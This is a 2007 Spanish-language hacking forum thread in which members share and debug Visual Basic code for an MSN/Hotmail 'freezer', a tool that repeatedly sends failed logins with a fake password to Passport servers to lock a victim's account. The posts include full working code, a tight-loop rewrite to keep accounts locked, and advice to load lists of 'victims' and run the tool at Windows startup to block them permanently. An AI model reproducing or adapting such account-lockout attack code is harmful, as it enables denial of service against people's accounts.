    arrPadding(0) = &H80
   
    dblBits = lngTrack * 8
   
    lngBytesBuffered = lngTrack Mod 64
   
    If lngBytesBuffered <= 56 Then
        MD564Split (56 - lngBytesBuffered), arrPadding
    Else
        MD564Split (120 - lngTrack), arrPadding
    End If
   
   
    arrPadding(0) = MD5LongConversion(dblBits) And &HFF&
    arrPadding(1) = MD5LongConversion(dblBits) \ 256 And &HFF&
    arrPadding(2) = MD5LongConversion(dblBits) \ 65536 And &HFF&
    arrPadding(3) = MD5LongConversion(dblBits) \ 16777216 And &HFF&
    arrPadding(4) = 0
    arrPadding(5) = 0
    arrPadding(6) = 0
    arrPadding(7) = 0
   
    MD564Split 8, arrPadding
   
End Sub

Private Function MD5StringChange(lngnum As Long) As String
       
        Dim bytA As Byte
        Dim bytB As Byte
        Dim bytC As Byte
        Dim bytD As Byte
       
        bytA = lngnum And &HFF&
        If bytA < 16 Then
            MD5StringChange = "0" & Hex(bytA)
        Else
            MD5StringChange = Hex(bytA)
        End If
               
        bytB = (lngnum And &HFF00&) \ 256
        If bytB < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytB)
        Else
            MD5StringChange = MD5StringChange & Hex(bytB)
        End If
       
        bytC = (lngnum And &HFF0000) \ 65536
        If bytC < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytC)
        Else
            MD5StringChange = MD5StringChange & Hex(bytC)
        End If
       
        If lngnum < 0 Then
            bytD = ((lngnum And &H7F000000) \ 16777216) Or &H80&
        Else
            bytD = (lngnum And &HFF000000) \ 16777216
        End If
       
        If bytD < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytD)
        Else
            MD5StringChange = MD5StringChange & Hex(bytD)
        End If

End Function

Private Function MD5Value() As String

    MD5Value = LCase(MD5StringChange(arrLongConversion(1)) & MD5StringChange(arrLongConversion(2)) & MD5StringChange(arrLongConversion(3)) & MD5StringChange(arrLongConversion(4)))

End Function

Public Function CalculateMD5(strMessage As String) As String

    Dim bytBuffer() As Byte
   
    bytBuffer = MD5StringArray(strMessage)
   
    MD5Start
    MD564Split Len(strMessage), bytBuffer
    MD5Finish
   
    CalculateMD5 = MD5Value
   
End Function

Private Sub MD5Start()

    lngTrack = 0
    arrLongConversion(1) = MD5LongConversion(1732584193#)
    arrLongConversion(2) = MD5LongConversion(4023233417#)
    arrLongConversion(3) = MD5LongConversion(2562383102#)
    arrLongConversion(4) = MD5LongConversion(271733878#)
   
End Sub


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:42 pm
en un modulo bas llamado msnmod agregamos:

Código:
Option Explicit

Public Type MSN_Contacts
    Email               As String
    Friendly_Name       As String
    Group               As String
    Active              As Boolean
    index               As Long
End Type

Public Type Message
    Caller              As String
    Challenge           As String
    SessionID           As String
End Type
Global ContactCount As Long, Contacts() As MSN_Contacts, RNG(1024) As Message, tID As Long, Username As String, Password As String, Status As String

Function Unescape(ByVal Enc As String) As String
Dim i As Long
For i = Len(Enc) To 1 Step -1
    If Mid$(Enc, i, 1) = "%" Then Enc = Replace$(Enc, Mid$(Enc, i, 3), Chr$(Asc(Chr$("&H" & Mid$(Enc, i + 1, 2)))))
Next i
Unescape = Enc
End Function

Function Escape(ByVal Enc As String) As String
Dim i As Long, tmp As String
Do
    i = i + 1
    tmp = Mid$(Enc, i, 1): If tmp = "" Then Exit Do
    If Asc(tmp) < 48 Then Enc = Replace$(Enc, tmp, "%" & Hex(Asc(Mid$(Enc, i))))
Loop
Escape = Enc
End Function

Function Typing(ByVal User As String) As String
'type trID ack len packet
Typing = "MSG " & TRID & " U " & CStr(Len(User) + 73) & vbCrLf & _
    "MIME-Version: 1.0" & vbCrLf & _
    "Content-Type: text/x-msmsgscontrol" & vbCrLf & _
"TypingUser: " & User & vbCrLf & vbCrLf
End Function

Function TRID() As String
If tID < 32767 Then tID = tID + 1 Else tID = 5
TRID = CStr(tID)
End Function


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:45 pm
y en un modulo bas llamado SSLv2:


Código:
Option Explicit

'Encryption Object
Public SecureSession As CryptoCls

'Variables for Parsing
Public Layer As Integer
Public InBuffer As String
Public Processing As Boolean
Public SeekLen As Integer
Dim i As Long

' Added by Seth Taylor 2005-02-22 to buffer incoming data
Public DataBuffer As String

'Encryption Keys
Public MASTER_KEY As String
Public CLIENT_READ_KEY As String
Public CLIENT_WRITE_KEY As String

'Server Attributes
Public PUBLIC_KEY As String
Public ENCODED_CERT As String
Public CONNECTION_ID As String

'Counters
Public SEND_SEQUENCE_NUMBER As Double
Public RECV_SEQUENCE_NUMBER As Double

'Hand Shake Variables
Public CLIENT_HELLO As String
Public CHALLENGE_DATA As String


Private Sub CertToPublicKey()

    'Create CryptoAPI Blob from Certificate
    Const lPbkLen As Long = 1024
    Dim lOffset As Long
    Dim lStart As Long
    Dim sBlkLen As String
    Dim sRevKey As String
    Dim ASNStart As Long
    Dim ASNKEY As String

    lOffset = CLng(lPbkLen \ 8)
    lStart = 5 + (lOffset \ 128) * 2

    ASNStart = InStr(1, ENCODED_CERT, Chr(48) & Chr(129) & Chr(137) & Chr(2) & Chr(129) & Chr(129) & Chr(0)) + lStart
    ASNKEY = Mid(ENCODED_CERT, ASNStart, 128)

    sRevKey = ReverseString(ASNKEY)

    sBlkLen = CStr(Hex(lPbkLen \ 256))
    If Len(sBlkLen) = 1 Then sBlkLen = "0" & sBlkLen

    PUBLIC_KEY = (HexToBin( _
            "06020000" & _
            "00A40000" & _
            "52534131" & _
            "00" & sBlkLen & "0000" & _
            "01000100") & sRevKey)

End Sub

Public Function VerifyMAC(ByVal DecryptedRecord As String) As Boolean

    'Verify the Message Authentication Code
    Dim PrependedMAC As String
    Dim RecordData As String
    Dim CalculatedMAC As String
   
    PrependedMAC = Mid(DecryptedRecord, 1, 16)
    RecordData = Mid(DecryptedRecord, 17)
   
    CalculatedMAC = SecureSession.MD5_Hash(CLIENT_READ_KEY & RecordData & RecvSequence)
   
    Call IncrementRecv

    If CalculatedMAC = PrependedMAC Then
        VerifyMAC = True
    Else
        VerifyMAC = False
    End If

End Function

Private Function SendSequence() As String

    'Convert Send Counter to a String
    Dim TempString As String
    Dim TempSequence As Double
    Dim TempByte As Double
   
    TempSequence = SEND_SEQUENCE_NUMBER
   
    For i = 1 To 4
        TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
        TempSequence = Int(TempSequence / 256)
        TempString = Chr(TempByte) & TempString
    Next
   
    SendSequence = TempString

End Function

Private Function RecvSequence() As String

    'Convert Receive Counter to a String
    Dim TempString As String
    Dim TempSequence As Double
    Dim TempByte As Double
   
    TempSequence = RECV_SEQUENCE_NUMBER
   
    For i = 1 To 4
        TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
        TempSequence = Int(TempSequence / 256)
        TempString = Chr(TempByte) & TempString
    Next
   
    RecvSequence = TempString

End Function

Public Sub SendClientHello(ByRef Socket As Winsock)

    'Send Client Hello
    Layer = 0
   
    Call SecureSession.GenerateRandomBytes(16, CHALLENGE_DATA)
   
    SEND_SEQUENCE_NUMBER = 0
    RECV_SEQUENCE_NUMBER = 0
   
    CLIENT_HELLO = Chr(1) & _
                    Chr(0) & Chr(2) & _
                    Chr(0) & Chr(3) & _
                    Chr(0) & Chr(0) & _
                    Chr(0) & Chr(Len(CHALLENGE_DATA)) & _
                    Chr(1) & Chr(0) & Chr(128) & _
                    CHALLENGE_DATA

    If Socket.State = 7 Then Socket.SendData AddRecordHeader(CLIENT_HELLO)

End Sub

Public Sub SendMasterKey(ByRef Socket As Winsock)

    'Send Master Key
    Layer = 1
   
    Call SecureSession.GenerateRandomBytes(32, MASTER_KEY)

    Call CertToPublicKey

    Socket.SendData AddRecordHeader(Chr(2) & _
                                    Chr(1) & Chr(0) & Chr(128) & _
                                    Chr(0) & Chr(0) & _
                                    Chr(0) & Chr(128) & _
                                    Chr(0) & Chr(0) & _
                                    SecureSession.ExportKeyBlob(MASTER_KEY, CLIENT_READ_KEY, CLIENT_WRITE_KEY, CHALLENGE_DATA, CONNECTION_ID, PUBLIC_KEY))

End Sub

Public Sub SendClientFinish(ByRef Socket As Winsock)

    'Send ClientFinished Message
    Layer = 2
    Call SSLSend(Socket, Chr(3) & CONNECTION_ID)

End Sub

Public Sub SSLSend(ByRef Socket As Winsock, ByVal Plaintext As String)

    'Send Plaintext as an Encrypted SSL Record
    Dim SSLRecord As String
    Dim OtherPart As String
    Dim SendAnother As Boolean
   
    If Len(Plaintext) > 32751 Then
        SendAnother = True
        OtherPart = Mid(Plaintext, 32752)
        Plaintext = Mid(Plaintext, 1, 32751)
    Else
        SendAnother = False
    End If
   
    SSLRecord = AddMACData(Plaintext)
    SSLRecord = SecureSession.RC4_Encrypt(SSLRecord)
    SSLRecord = AddRecordHeader(SSLRecord)
   
    Socket.SendData SSLRecord
   
    If SendAnother = True Then
        Call SSLSend(Socket, OtherPart)
    End If

End Sub

Private Function AddMACData(ByVal Plaintext As String) As String

    'Prepend MAC Data to the Plaintext
    AddMACData = SecureSession.MD5_Hash(CLIENT_WRITE_KEY & Plaintext & SendSequence) & Plaintext

End Function

Private Function AddRecordHeader(ByVal RecordData As String) As String

    'Prepend SLL Record Header to the Data Record
    Dim FirstChar As String
    Dim LastChar As String
    Dim TheLen As Long
       
    TheLen = Len(RecordData)
   
    FirstChar = Chr(128 + (TheLen \ 256))
    LastChar = Chr(TheLen Mod 256)

    AddRecordHeader = FirstChar & LastChar & RecordData
   
    Call IncrementSend

End Function

Public Sub IncrementSend()

    'Increment Counter for Each Record Sent
    SEND_SEQUENCE_NUMBER = SEND_SEQUENCE_NUMBER + 1
    If SEND_SEQUENCE_NUMBER = 4294967296# Then SEND_SEQUENCE_NUMBER = 0

End Sub

Public Sub IncrementRecv()

    'Increment Counter for Each Record Received
    RECV_SEQUENCE_NUMBER = RECV_SEQUENCE_NUMBER + 1
    If RECV_SEQUENCE_NUMBER = 4294967296# Then RECV_SEQUENCE_NUMBER = 0

End Sub
'###########################################################TenguFireb0y
Public Function BytesToLen(ByVal TwoBytes As String) As Long

    'Convert Byte Pair to Packet Length
    Dim FirstByteVal As Long
    FirstByteVal = Asc(Left(TwoBytes, 1))
    If FirstByteVal >= 128 Then FirstByteVal = FirstByteVal - 128
   
    BytesToLen = 256 * FirstByteVal + Asc(Right(TwoBytes, 1))

End Function

Private Function HexToBin(ByVal HexString As String) As String

    'Convert a Hexadecimal String to characters
    Dim BinString As String
    For i = 1 To Len(HexString) Step 2
        BinString = BinString & Chr(Val("&H" & Mid(HexString, i, 2)))
    Next i
    HexToBin = BinString

End Function

Public Function ReverseString(ByVal TheString As String) As String
ReverseString = StrReverse(TheString)
End Function




Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 20:54 pm
recuerden que en la linea de codigo ubicada en el timer1

Código:
If Text2.Text = "15" Then

es donde se decide cuantas veces se va a intentar la conexion para bloquear la cuenta

y el intervalo de tiempo que le asignen al timer uno es el que decidira cada cuanto tiempo se va a intentar la conexion, y sean muy precavidos al momento de cambiar ese valor ya que si el timer tiene un avalor muy pequeño,es decir si realiza lapeticion muy rapido no dara tiempo a autenticar la cuenta con la clave falsa y eso hara que ese intento de conexion no sea contado por el servidor de hotmail y podria hacer que nuestro programa no cumpla con su mision. ya que no congelaria la cuenta.

Espero les guste el code y utilicen laimaginacion ya que hay muchas cosas que no se han hecho con el y que podrian hacerce facilmente jejej Salu25

                                                    Tengu ..::Fireb0y::..


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: cheatmaster en 28 Julio 2007, 23:09 pm
muy bueno,, una pregunta

Si hacemos que abra un txt existente, con una lista d msn, blokearia a toda no ?? ya q estaria dentro del txtbox, lo digo, por que asin + un registro el congelo seria para siempre sin necesidad de mandarlo d nuevo


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 28 Julio 2007, 23:24 pm
en cuanto a eso lo q yo habia hecho era ponerle un listbox y empezaba por el primero y cuando terminaba de congelarlo lo q hacia era pasar al siguiente index de la lista y asi sucesibamente creaba un ciclo q congelaba permanentemente las cuentas. para lo q tu dices podrias crear un archivo .ini con las victimas y hacer qa se inicie con windows  asi cada vez q conectes tu pc automaticamente carga la lista y empiieza a bloquear.*
**

si necesitas alguna ayuda solo pregunta aqui


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 29 Julio 2007, 00:03 am
Que bueno pero no crees que es un poco Exagerado Recuerda que Cualquier Persona se lo puede hacer a otra??? jajaja ;) en fin.. Cada quien sabe que hacer con ese code...

Salu2..!! Gracias...

PD: Lo estare Leyendo a ver que tal..


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 29 Julio 2007, 00:10 am
Por cierto el codigo es Algo Avanzado... (Grande diria yo)

Lo  hiziste tu?
jeje Esta muy bueno..

Buen programador...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 29 Julio 2007, 00:18 am
el codigo esta hecho por mi ... consegui las declaraciones de la web,las de el modulo md5 y ese tipo de cosas por q eso es muy avamnzado jejej


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: WHK en 29 Julio 2007, 02:08 am
Si tengu..::Fireb0y::..  puede poner su congelador porque no yo mi booter de yahoo?  >:(

 :P Para utilizar los módulos SHA1, MD5 y Crypt puedes bajar los ejemplos desde este hilo:
http://foro.elhacker.net/index.php/topic,68352.0.html

Citar
Especial

1000 Ejemplos para Visual Basic 6

Descargar:
http://rapidshare.com/files/17819092/1000_Ejemplos_de_Visual_Basic.zip.html

Contenido:

VB6 and ActiveX.zip
VB6 and ASP.zip
VB6 and Bas Files.zip
VB6 and CAB files.zip
VB6 and Controls.zip
VB6 and Conversions.zip
VB6 and DAT Files.zip
VB6 and Email.zip
VB6 and Encryption.zip
VB6 and Extraction.zip
VB6 and Files.zip
VB6 and Firewalls.zip
VB6 and Forms.zip
VB6 and Graphics.zip
VB6 and Help.zip
VB6 and Icons.zip
VB6 and Images.zip
VB6 and Information.zip
VB6 and Internet.zip
VB6 and Keyboard.zip
VB6 and Make Exe.zip
VB6 and Math.zip
VB6 and Media.zip
VB6 and Menus.zip
VB6 and Mp3.zip
VB6 and Networking.zip
VB6 and Registry.zip
VB6 and ScreenSavers.zip
VB6 and Security.zip
VB6 and Shell.zip
VB6 and Source Codes.zip
VB6 and SQL.zip
VB6 and Time.zip
VB6 and Windows.zip

También encontrarás algunos tipos de cifrado usadas en RSA y PCS1


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 29 Julio 2007, 02:18 am
sisi WHK nuy bueno el link esos 1000 ejemplos los tengo  me ahan ayudado mucho en mis app gracias. salu25 ;D


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: wACtOr en 29 Julio 2007, 23:08 pm
tengu, muy bueno el code, yo llevaba tiempo buscando uno, pero solo encontraba en C
al probar me tira un error. es al conectar el client en el timer1. :

Error 40020 en tiempo de ejecucion:

Operacion no valida en el estado actual.

Que es lo que ocurre aqui :S

 aver si me puedes explicar por que me tira ese error.

Gracias


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: nhaalclkiemr en 29 Julio 2007, 23:53 pm
Di en k linea te sale ese error...Será mas facil...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 30 Julio 2007, 01:19 am
jajaj ok si te sale ese error significa q el puerto todaviua esta conectado cuando intenta volver aconectarse,"no valido en el estado actual". ahora eso se arregla facilmente.

ponle "depurar al mensajke de error de vb si la linea q te indica es esta:

Client(0).Connect "messenger.hotmail.com", 1863

entonces agregale antes esto:


Client(0).Close

y si la linea que tira error es esta :

Client(index + 1).Connect tmp1(0), tmp1(1)

agrega antes esto

Client(index + 1).Close

y asi con cualquier linea del tipò connect que te tire ese error.


Salu25 que lo disfrutes sjeje


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 30 Julio 2007, 03:24 am
Gracias por tu aporte pero compilando me da este error:
(http://img247.imageshack.us/img247/7758/errorxd2.jpg)
...
nose porque me lo da, intente declarar ese index abajo del sub, pero igual me lo da.
espero tu ayuda.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 30 Julio 2007, 03:26 am
Uff esta ahi kasi un cliente de msn  ;D No es necesario tanto codigo. El iceberg lo hice con muy pocas lineas.

No voy decir k te creo kuando dices k lo has echo tu pork mucho de lo k esta ahi ni sekier es necesario para el freezer, me suena a copy&paste pero en fin no lo tomes mal, no quiero iniciar una discussion.

Al menos posteas algo ya k la gente no sabe buscar... Ya haran algo por aki...

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: ‭‭‭‭jackl007 en 30 Julio 2007, 03:32 am
pasra TugHack:
te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas...
PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 30 Julio 2007, 04:23 am
pasra TugHack:
te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas...
PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.

Pff pues solo hice un comentario k por cierto tiene su parte construtiva... O crees k decirle k esta codigo a mas y k lo puede hacer mejor no es contructivo?

Se solo puedo postear para decir "Muy bien!" no se para k sirve el foro...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 30 Julio 2007, 04:59 am
y mi error????????


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: wACtOr en 30 Julio 2007, 13:44 pm
drackolive, en una palabra:

INDEX
-----------------

ya me a blokeado la cuenta, pero no se por que razon no ha parado el timer. voy aver que ocurre jejeje


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 31 Julio 2007, 02:30 am
que lio ahora me da este error:
(http://img263.imageshack.us/img263/3793/errorqp4.jpg)
....
Que sucede??????????????????????


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 31 Julio 2007, 02:35 am
Alli estas declarando que X es un Modulo y eso no se puede...

En fin:

"Un módulo no es un tipo válido"


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 31 Julio 2007, 02:39 am
el codigo que postearon esta asi...
nunca he tenido este problema...
como lo puedo solucionar?


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 31 Julio 2007, 02:40 am
Espera a Tegu...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Arcangel en 31 Julio 2007, 08:55 am
Citar
en un modulo de clase llamado cryptocls agregamos este code:

fíjate cryptocls es un modulo DE CLACE, no lo puedes agregar como un modulo común y corriente, en ves de agregar "Module", tienes que pegar ese code en un "Class Module", y pues claro ponerle su nombre correspondiente.

Arcangel


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 1 Agosto 2007, 03:03 am
Lo hice hace tiempo y lo posteo, cualquiera con un sniffer puede hacerlo, yo tarde una media hora y mi código son unas pocas lineas.

Todo en un formulario con:
Textbox = Text1
Boton = Command1 = Bloquear
Boton = Command2 = DesBloquear
Label  = Label1

Código:
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Dim res As String
Dim num As Integer

Private Sub Command1_Click()
Label1.Caption = "Conectando al servidor..."
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Label1.Caption = "Cuenta desbloqueada"
End Sub

Private Sub Timer1_Timer()
Timer1.Enabled = False
If num < 10 Then
num = num + 1
Label1.Caption = "Bloqueando... [" & num * 10 & "%]"
ElseIf num = 10 Then
num = num + 1
Label1.Caption = "Cuenta bloqueada ;)"
End If
Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
tmp2 = Split(Text1.Text, "@")
tmp4 = tmp2(0) & "%40" & tmp2(1)
tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res
lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Timer1.Enabled = True
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
Label1.Caption = "Conectado"
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10)
Case "XFR"
Dim tmp() As String
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
Dim tmp2() As String
tmp2 = Split(datos, " ")
res = tmp2(4)
num = 0
Timer1.Enabled = True
End Select
End Sub


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 1 Agosto 2007, 03:52 am
Muy bueno ya lo pruebo...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 1 Agosto 2007, 04:31 am
No bloquea... :P :P :P :P


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: wACtOr en 1 Agosto 2007, 14:56 pm
kizar ay un error, en el timer

error 9, el subindice esta fuera del intervalo.

tmp4 = tmp2(0) & "%40" & tmp2(1)


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 1 Agosto 2007, 15:36 pm
He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 1 Agosto 2007, 16:10 pm
Pork un timer? Les gusta usar timers por todo y por nada... No es nada bueno hacerlo con un timer ya k encima es muy facil aprovechar un loop k te oferecen las proprias necesidades del programa. Al hacer la conexion recibe los datos con el socket, despues en ese mismo evento se hacen las peticiones con inet/apis de la librera wininet y en el final empieza de nuevo con la conexion al messenger.hotmail.com. Y con esto se hace un loop. Para detenerlo solo hay k anadir un boolean y listo.

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 1 Agosto 2007, 23:26 pm
Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 2 Agosto 2007, 00:08 am
Tienes razón, pero el programa no esta optimizado, lo hice por pasar el rato y con el timer hago la conexión cada 2s que es suficiente para mantener la cuenta bloqueada, si pusiera un bucle la velocidad dependería de la velocidad de su conexión a internet.

Y es eso k se kiere. A la velocidad de la conexion es automaticamente la maior velocidade k puedes obtener y encima sin kualkier fallo.

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 2 Agosto 2007, 00:25 am
Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 2 Agosto 2007, 00:35 am
Pero yo lo hago por un motivo, con conectar una vez cada dos segundos es suficiente, para que quiero conectar mas veces mas rápido si con eso es bastante?

Porcierto lo haces igual k el icecold, no haces la conexion toda desde el inicio y con ese metodo falla al fin de un tiempo, ya k la challenge string expira, deberias empezar de nuevo la conexion en cada intento de login.

Algo como en el boton freeze le pones la conexion al messenger.hotmail.com y despues en el evento connect envia la primera peticion. Despues en el datarrival haces todas las demas peticiones y en el final, como ya havia dicho, haces el connect (como en el boton freeze), lo k te pone de nuevo en el evento connect, o sea un loop.

Asi se hace correctamente un freezer. Aunk k el ejemplo k has puesto ya  es algo con k se puedan orientar para haceren sus freezeres. Mejor k poner el codigo de un cliente de msn...

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 2 Agosto 2007, 00:44 am
Pueden dejar de hablar de mi :xD :xD :xD :xD :xD


Muy buen codigo... Claro hay que mejorarlo...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 2 Agosto 2007, 01:21 am
Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo:
Código:
'Codez by Kizar
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Const email = "su_messenger@hotmail.com"
Dim ema As String, sta As Boolean

Private Sub Bloquear()
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Desbloquear()
sta = False
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, tmp() As String, tmp2() As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10)
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
tmp = Split(datos, " ")
tmp2 = Split(email, "@")
ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4)
sta = True
Call Satura
End Select
End Sub

Private Sub Satura()
Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
Do While sta = True
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Loop
End Sub

Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código:
Código:
